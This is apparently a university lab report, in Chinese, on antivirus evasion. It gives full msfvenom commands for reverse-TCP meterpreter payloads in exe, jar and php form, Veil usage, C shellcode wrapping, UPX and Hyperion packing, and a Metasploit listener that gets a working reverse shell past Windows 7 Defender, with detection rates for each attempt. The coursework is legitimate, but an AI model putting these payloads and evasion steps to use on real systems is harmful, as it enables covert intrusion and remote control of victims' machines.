1.实验内容
1.1回答问题
(1)杀软是如何检测出恶意代码的?
将文件二进制代码与病毒库中的已知恶意特征对比,若匹配则判定为威胁。
分析代码结构和行为逻辑,例如检查是否调用危险API、是否存在异常注册表操作或加密行为,判断潜在风险。
动态沙箱检测,在隔离环境中运行文件,监控其行为,若触发可疑操作则标记为恶意。
(2)免杀是做什么?
免杀的核心目标是使恶意代码逃避杀毒软件的检测。
例如,攻击者可能通过修改代码结构、加密载荷或利用合法进程伪装,使杀毒软件无法识别其真实意图。
(3)免杀的基本方法有哪些?
通过工具定位杀毒软件检测的特征码位置,直接修改二进制数据。
使用压缩壳或加密壳包裹恶意代码,避免静态特征暴露。
将恶意代码直接写入内存,避免文件落地,绕过传统文件扫描。
将恶意代码拆分为多个模块,分阶段加载并加密传输,降低被整体识别的概率。
1.2实践内容简述
(1)使用msfvenom和msf编码器,生成exe、jar、php文件及它们的编码版本。
(2)下载veil工具,并使用它来生成恶意代码。
(3)使用C+shellcode编程。
(4)尝试upx压缩壳和试hyperion加密壳。
(5)通过组合应用各种技术实现恶意代码免杀,即与杀软共生。
(6)在杀软开启的情况下,用免杀技术让恶意代码运行并回连成功。
2.实验过程
2.1 免杀效果基准测试
在kali虚拟机中,利用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.128 PORT=2408 -f exe > met20232310.exe直接生成meterpreter可执行文件,
其中-p参数指定生成windows/meterpreter/reverse_tcp类型Payload,使目标主机执行后主动向攻击者主机发起TCP连接。
然后将文件传入主机,将该文件放入virustotal进行评价线上检测,过程和结果如下图


可以发现结果为59/72,后续即以此为基准判断后续的免杀效果的好坏
2.2 通过msfvenom使用编码器或生成其他格式文件
(1)生成exe文件
利用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.80.128 LPORT=2408 -f exe > met-encoded20232310.exe
生成可执行文件。该命令中,
-e x86/shikata_ga_nai通过编码器对Payload进行混淆编码,
-b '\x00'参数排除空字符。

上传坚持,发现区别不大,说明这种免杀方法已经被广泛记录,效果不佳

(2)生成多次编码的exe文件
编码一次效果不佳,再试试多编码几次,参数-i设置编码次数为10次,可以看到结果基本一样,说明着这种免杀方法的特征太明显了,多次编码无效
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.80.128 LPORT=2408 -f exe > met-encoded20232310.exe


(3)生成jar文件
利用指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=2408 x>metjar20232310.jar生成jar文件。
其中-p参数指定生成java/meterpreter/reverse_tcp类型Payload,通过输出文件名metjar20222408.jar的.jar后缀,
msfvenom可隐式识别目标文件类型并生成符合JAR格式的文件,无需额外指定格式参数。

得到的检出率为35/64,说明jar文件更难被识别出来

(4)生成多次编码的jar文件
利用指令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.80.128 LPORT=2408 x>met-encoded-jar20232310.jar生成一份编码10次的jar文件。

得到的检出率还是35/64,说明多次编码依然没有什么用处。

(5)生成php文件
用指令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=2408 x> metphp_20232310.php生成php文件
看到php文件更加不易被检测出来


(5)生成多次编码的php文件
用指令msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.80.128 LPORT=2408 x> met_encoded10_php_20232310.php生成编码10次的php文件。
发现检出率仅为8/62,效果很好,说明多次编码后免杀效果有较大改善


2.3使用veil免杀工具
(1)下载veil
输入sudo apt -y install veil

然后输入usr/share/veil/config/setup.sh --force --silent,用veil自带的shell脚本配置好环境。
下载和自动配置都需要比较长的时间,请耐心等待即可

(2)使用veil
输入veil,可以看到两个免杀的⼯具,Evasion和Ordnance。这里使用第一个

输入use 1进入Evasion模块
然后输入list查看所有可用的载荷种类

我们先试试c语音框架吧
看到c/meterpreter/rev_tcp.py是第7个选项,输入use 7

然后配置一下,输入以下信息。
set LHOST 192.168.80.128(虚拟机的ip)
set LPORT 2408
generate(开始生成)

下面会提示生成的具体细节特性和生成后文件所在的位置。

找到相应目录下的生成文件

传回主机,上传网站,结果为36/72,说明veil工具具备一定的免杀效果

2.4 C语言结合Shellcode编程
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=2408 -f c,用msfvenom工具生成载荷,-f c参数将载荷转换为C语言字节数组形式的源代码,便于后续嵌入到 C 语言项目中,通过编译生成可执行文件。

编写一个c文件,具体内容如下


使用编译器i686-w64-mingw32-g++进行编译

看到检测效果35/72,效果还可以,有一定的免杀效果。

2.5 加壳工具
(1)使用压缩壳UPX
给上一个步骤生成的shellcode_c_20232310.exe加一个压缩壳。
upx作为压缩壳工具,对原始可执行文件的二进制数据进行压缩,并嵌入解压代码。
程序运行时会先通过壳程序解压原始代码并执行,既减小了文件体积,也通过隐藏原始shellcode的静态特征。

测试检出率,发现是38/71,说明这个壳的特征已经被很广泛的记录,不好用。

(2)加密壳Hyperion
cp shellcode_c_20232310.exe /usr/share/windows-resources/hyperion/(将待加密文件放到工作目录下)
wine hyperion.exe -v shellcode_c_20232310.exe shellcode_c_hyp_20232310.exe(加密文件)

结果很糟糕,升到50/71了,还不如之前的压缩壳,推测可能因为Hyperion是公开工具,其壳程序的启动代码、加密算法标已被主流杀毒软件纳入特征库。当检测到文件带有 Hyperion 的壳特征时,即使内部代码未知,也可能被直接标记为可疑。也可能是调用特定API的行为触发动态拦截。

2.6 免杀技术综合应用
先试试指导书的方法会不会被发现
使用msfvenom工具来生成一个攻击载荷的示例。该攻击载荷被x86/shikata_ga_nai编码了10次。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.80.128 LPORT=2408 -f c > 20232310_shellcode.c
使用vi工具,在生成的文件中加入main函数如下。
int main(){ int (func)() = (int()())buf; func(); }
使用MinGW-w64编译该源文件。
i686-w64-mingw32-g++ 20232310_shellcode.c -o 20232310_shellcode.exe
使用upx加一层压缩壳。
upx 20232310_shellcode.exe -o 20232310_shellcode_upx.exe
使用hyperion加一层加密壳。
wine hyperion.exe -v 20232310_shellcode_upx.exe 20232310_shellcode_upx_hyp.exe



可惜我放到win11主机后,就被windows自带的windows defender发现了,并且直接禁止运行

那试试raw文件呢
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.80.128 LPORT=2406 -f raw >20232310.raw

通过链接安装 - shellcode_launcher启动程序 https://gitee.com/vantler/shellcode_launcher/
把攻击文件放到launcher的文件夹下
输入.\shellcode_launcher.exe -i 20232310.raw来启动文件
失败了

感觉win11自带的windows defender有点强,把它放到win7里面吧。步骤同上

没有被查杀,启动试试,也没事

在kali虚拟机中输入msfconsole打开msf的控制台。输入
use exploit/multi/handler配置监听模块,
set payload windows/meterpreter/reverse_tcp使用和生成后门程序时相同的payload,
set LHOST 192.168.80.128使用kali的IP
set LPORT 2406设置端口

成功连接


虽然杀毒软件有点古老,是win7自带的老古董windows defender
几年前metasploit升级到了5.0,引入了一个新的模块叫Evasion模块,官方宣称这个模块可以创建反杀毒软件的木马
那现在我们用的版本是6.4想必也可以反杀毒软件吧
试试,用这个8吧



结果还是骗不过win11的windows defender
换成网页?

失败